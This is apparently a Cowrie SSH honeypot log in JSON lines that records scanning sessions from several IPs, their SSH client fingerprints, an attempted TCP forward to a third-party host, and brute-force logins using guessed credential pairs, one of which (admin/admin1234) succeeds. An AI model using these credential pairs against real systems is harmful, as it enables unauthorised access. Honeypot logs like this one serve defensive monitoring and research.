{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x81\\xb3\\xc1xn\\x12i\\\\z\\xcb\\xdf/\\x1a\\x04\\xa6\\x88)P\\xd3P\\x95\\x0f\"W\\xe1\\x1a1I\\xb0f\\x94m \\x0b\\x88ZK\\xb8)\\xa8\\x17:\\x90\\xedlL\\x1e\\xdaL\\xba \\x85#)\\xe13\\xc1,7\\x8a\\xbcv\\x11\\xd9`\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x00\\xe8\\x15\\xc3D\\xe2)s\\x10\\xc9r\\xab\\x97\\x8f\\x04n\\xbb\\xcd\\x1d\\x05\\x8e\\x18\\x05\\x93\\xff\\xa3\\xf6\\xdd\\xf7o\\xfd/\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x81\\xb3\\xc1xn\\x12i\\\\z\\xcb\\xdf/\\x1a\\x04\\xa6\\x88)P\\xd3P\\x95\\x0f\"W\\xe1\\x1a1I\\xb0f\\x94m \\x0b\\x88ZK\\xb8)\\xa8\\x17:\\x90\\xedlL\\x1e\\xdaL\\xba \\x85#)\\xe13\\xc1,7\\x8a\\xbcv\\x11\\xd9`\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x00\\xe8\\x15\\xc3D\\xe2)s\\x10\\xc9r\\xab\\x97\\x8f\\x04n\\xbb\\xcd\\x1d\\x05\\x8e\\x18\\x05\\x93\\xff\\xa3\\xf6\\xdd\\xf7o\\xfd/\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:54.258659Z","src_ip":"63.141.242.2","session":"dd5491d74f72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28206,"dst_ip":"159.203.135.109","dst_port":22,"session":"29d61c3de32f","protocol":"ssh","message":"New connection: 91.92.40.36:28206 (159.203.135.109:22) [session: 29d61c3de32f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:54.548971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:55.082041Z","src_ip":"91.92.40.36","session":"29d61c3de32f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:55.477947Z","src_ip":"91.92.40.36","session":"29d61c3de32f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xjtu","password":"qb_21@xjtuse","message":"login attempt [xjtu/qb_21@xjtuse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:58.160658Z","src_ip":"91.92.40.36","session":"29d61c3de32f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":36932,"dst_ip":"159.203.135.109","dst_port":22,"session":"c90b85a2d3ea","protocol":"ssh","message":"New connection: 103.172.78.219:36932 (159.203.135.109:22) [session: c90b85a2d3ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:59.360362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:59.364634Z","src_ip":"103.172.78.219","session":"c90b85a2d3ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:59.610963Z","src_ip":"103.172.78.219","session":"c90b85a2d3ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:59.629071Z","src_ip":"91.92.40.36","session":"29d61c3de32f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"281287","message":"login attempt [root/281287] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:00.352919Z","src_ip":"103.172.78.219","session":"c90b85a2d3ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:01.601886Z","src_ip":"103.172.78.219","session":"c90b85a2d3ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24874,"dst_ip":"159.203.135.109","dst_port":22,"session":"b10007b494c2","protocol":"ssh","message":"New connection: 91.92.40.36:24874 (159.203.135.109:22) [session: b10007b494c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:02.361967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:02.728108Z","src_ip":"91.92.40.36","session":"b10007b494c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:02.731424Z","src_ip":"91.92.40.36","session":"b10007b494c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"44.8","message":"Connection lost after 44.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:04.663182Z","src_ip":"63.141.242.2","session":"dd5491d74f72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"123qwerty","message":"login attempt [dspace/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:04.810757Z","src_ip":"91.92.40.36","session":"b10007b494c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:06.273627Z","src_ip":"91.92.40.36","session":"b10007b494c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24514,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad0e0e73c3d0","protocol":"ssh","message":"New connection: 91.92.40.36:24514 (159.203.135.109:22) [session: ad0e0e73c3d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:09.325796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:09.921880Z","src_ip":"91.92.40.36","session":"ad0e0e73c3d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:09.926061Z","src_ip":"91.92.40.36","session":"ad0e0e73c3d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.151801109313965,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:11.258701Z","src_ip":"172.81.62.90","session":"ca607049f12c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"master","password":"master1","message":"login attempt [master/master1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:13.708267Z","src_ip":"91.92.40.36","session":"ad0e0e73c3d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:15.634259Z","src_ip":"91.92.40.36","session":"ad0e0e73c3d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":62536,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c55343e2574","protocol":"ssh","message":"New connection: 91.92.40.36:62536 (159.203.135.109:22) [session: 7c55343e2574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:17.322441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:18.201784Z","src_ip":"91.92.40.36","session":"7c55343e2574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:18.205062Z","src_ip":"91.92.40.36","session":"7c55343e2574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"P4ssword","message":"login attempt [mysql/P4ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:22.926820Z","src_ip":"91.92.40.36","session":"7c55343e2574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":55543,"dst_ip":"10.17.0.5","dst_port":22,"session":"a620dd7f17ec","protocol":"ssh","message":"New connection: 113.164.152.20:55543 (10.17.0.5:22) [session: a620dd7f17ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:24.389614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:24.393514Z","src_ip":"113.164.152.20","session":"a620dd7f17ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:24.664615Z","src_ip":"113.164.152.20","session":"a620dd7f17ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:25.318772Z","src_ip":"91.92.40.36","session":"7c55343e2574","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:29:25.879169Z","src_ip":"113.164.152.20","session":"a620dd7f17ec","protocol":"ssh"}
